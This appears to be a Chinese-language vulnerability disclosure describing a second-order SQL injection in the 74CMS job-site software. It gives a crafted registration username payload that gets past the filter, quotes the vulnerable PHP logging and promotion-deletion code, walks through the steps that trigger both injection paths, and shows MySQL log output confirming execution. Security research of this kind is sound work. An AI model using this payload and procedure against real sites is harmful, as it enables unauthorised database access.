### 简要描述:
74CMS一逻辑漏洞导致两处二次注入
### 详细说明:
1.首先还是注册一个企业用户,在注册的过程中用burp抓包,修改里面的username字段
username=1′,1,1001,1,user(),1,1,1,1,1,1,1) — a
[<img src="https://images.seebug.org/upload/201505/152221342e68f3a3cb84c21be2c54c2d3083e741.jpg" alt="14.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/152221342e68f3a3cb84c21be2c54c2d3083e741.jpg)
2.74cms本来是不允许注册带有特殊字符的用户名的,但是使用这样的方法可以绕过过滤,我们来看一下数据库。
[<img src="https://images.seebug.org/upload/201505/1522112961995bce6d1fe8e0f1d54f902ad27662.jpg" alt="12.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/1522112961995bce6d1fe8e0f1d54f902ad27662.jpg)
3.我们再来看哪里对该用户进行了二次数据库操作。找了很久,看到了对很多操作都提供了日志记录的功能。write_memberslog函数
```
function write_memberslog($uid,$utype,$type,$username,$str,$mode,$op_type,$op_type_cn,$op_used,$op_leave)
{
global $db,$online_ip,$ip_address;
$sql = "INSERT INTO ".table('members_log')." (log_uid,log_username,log_utype,log_type,log_addtime,log_ip,log_address,log_value,log_mode,log_op_type,log_op_type_cn,log_op_used,log_op_leave) VALUES ( '{$uid}','{$username}','{$utype}','{$type}', '".time()."','{$online_ip}','{$ip_address}','{$str}','{$mode}','{$op_type}','{$op_type_cn}','{$op_used}','{$op_leave}')";
return $db->query($sql);
}
```
4.该函数中$username来源于用户名,看那些地方调用了该函数。在绝大多数情况下,74cms的$username来源于$_SESSION[‘username’],比如下面这个。
```
write_memberslog($_SESSION['uid'],1,2003,$_SESSION['username'],"删除职位({$sqlin})");
```
5.但是$_SESSION[‘username’]却是做了全局的addslashes的操作的。本来无计,后来辗转彷徨,却发现有两个地方不是这样调用的。
1)include\crons\clear_promotion.php。这是前台触发的。
```
$result = $db->query("SELECT p.*,m.username FROM ".table('promotion')." AS p JOIN ".table('members')." AS m ON p.cp_uid=m.uid WHERE p.cp_endtime<".time()." AND p.cp_available=1");
while($row = $db->fetch_array($result))
{
if ($row['cp_promotionid']=="1")
{
$db->query("UPDATE ".table('jobs')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1 ");
$db->query("UPDATE ".table('jobs_tmp')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1 ");
$db->query("UPDATE ".table('jobs_search_hot')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_key')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_rtime')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_scale')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_stickrtime')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_wage')." SET recommend='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
}
elseif ($row['cp_promotionid']=="2")
{
$db->query("UPDATE ".table('jobs')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1 ");
$db->query("UPDATE ".table('jobs_tmp')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1 ");
$db->query("UPDATE ".table('jobs_search_hot')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_key')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_rtime')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_scale')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_stickrtime')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_wage')." SET emergency='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
}
elseif ($row['cp_promotionid']=="3")
{
$db->query("UPDATE ".table('jobs')." SET stick=0 WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_tmp')." SET stick=0 WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_search_stickrtime')." SET stick='0' WHERE id='{$row['cp_jobid']}' LIMIT 1");
}
elseif ($row['cp_promotionid']=="4")
{
$db->query("UPDATE ".table('jobs')." SET highlight='' WHERE id='{$row['cp_jobid']}' LIMIT 1");
$db->query("UPDATE ".table('jobs_tmp')." SET highlight='' WHERE id='{$row['cp_jobid']}' LIMIT 1");
}
write_memberslog($row['cp_uid'],1,3006,$row['username'],"推广到期,自动删除,职位ID:{$row['cp_jobid']},方案ID:{$row['cp_id']}");
$proid[] = $row['cp_id'];
}
```
可以看出这里的write_memberslog的$username直接从数据库中取出,而且没有经过任何的过滤,这就导致了二次注入。
2)admin\include\admin_company_fun.php。这是后台触发的。
```
function del_promotion($id)
{
global $db;
$n=0;
if (!is_array($id))$id=array($id);
foreach ($id as $did)
{
$info=$db->getone("select p.*,m.username from ".table('promotion')." AS p INNER JOIN ".table('members')." as m ON p.cp_uid=m.uid WHERE p.cp_id='".intval($did)."' LIMIT 1");
write_memberslog($info['cp_uid'],1,3006,$info['username'],"管理员取消推广,职位ID:{$info['cp_jobid']}");
cancel_promotion($info['cp_jobid'],$info['cp_promotionid']);
$db->query("Delete from ".table('promotion')." WHERE cp_id ='".intval($did)."'");
$n+=$db->affected_rows();
}
return $n;
}
```
6.两处二次注入的原理一样,我们首先用申请的带有特殊字符的账号来发布职位。然后对职位进行推广操作。推广的时候由于积分限制,只能选择变色。
[<img src="https://images.seebug.org/upload/201505/15222306285153f404461e212a5e9f48bb48bf13.jpg" alt="13.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/15222306285153f404461e212a5e9f48bb48bf13.jpg)
7.前台触发的条件是推广时间过期,自动进行推广链接的删除时。后台触发的条件是管理员删除了推广链接。为了不等那么长时间,我们从后台来看效果
[<img src="https://images.seebug.org/upload/201505/15222405784784b5926d75846998d3d7779486d4.jpg" alt="14.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/15222405784784b5926d75846998d3d7779486d4.jpg)
8.当推广被取消或者推广到期自动取消之后,我们再到前台用户登录日志的地方。
[<img src="https://images.seebug.org/upload/201505/15221908b9d67a9b918eb72bf43cdd6a8dd9afd2.jpg" alt="15.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201505/15221908b9d67a9b918eb72bf43cdd6a8dd9afd2.jpg)
9.最后我们来看一下mysql的日志
```
150515 15:41:39 19602 Query select p.*,m.username from qs_promotion AS p INNER JOIN qs_members as m ON p.cp_uid=m.uid WHERE p.cp_id='4' LIMIT 1
19602 Query INSERT INTO qs_members_log (log_uid,log_username,log_utype,log_type,log_addtime,log_ip,log_address,log_value,log_mode,log_op_type,log_op_type_cn,log_op_used,log_op_leave) VALUES ( '19','1',1,1001,1,user(),1,1,1,1,1,1,1) -- a','1','3006', '1431675699','127.0.0.1','- LAN','管理员取消推广,职位ID:6','','','','','')
19602 Query UPDATE qs_jobs SET highlight='' WHERE id='6' LIMIT 1
19602 Query UPDATE qs_jobs_tmp SET highlight='' WHERE id='6' LIMIT 1
19602 Query Delete from qs_promotion WHERE cp_id ='4'
19602 Quit
```
### 漏洞证明:
<img src="http://www.pang0lin.com/wp-content/uploads/2015/05/14.jpg" alt="12.jpg" />
暂无评论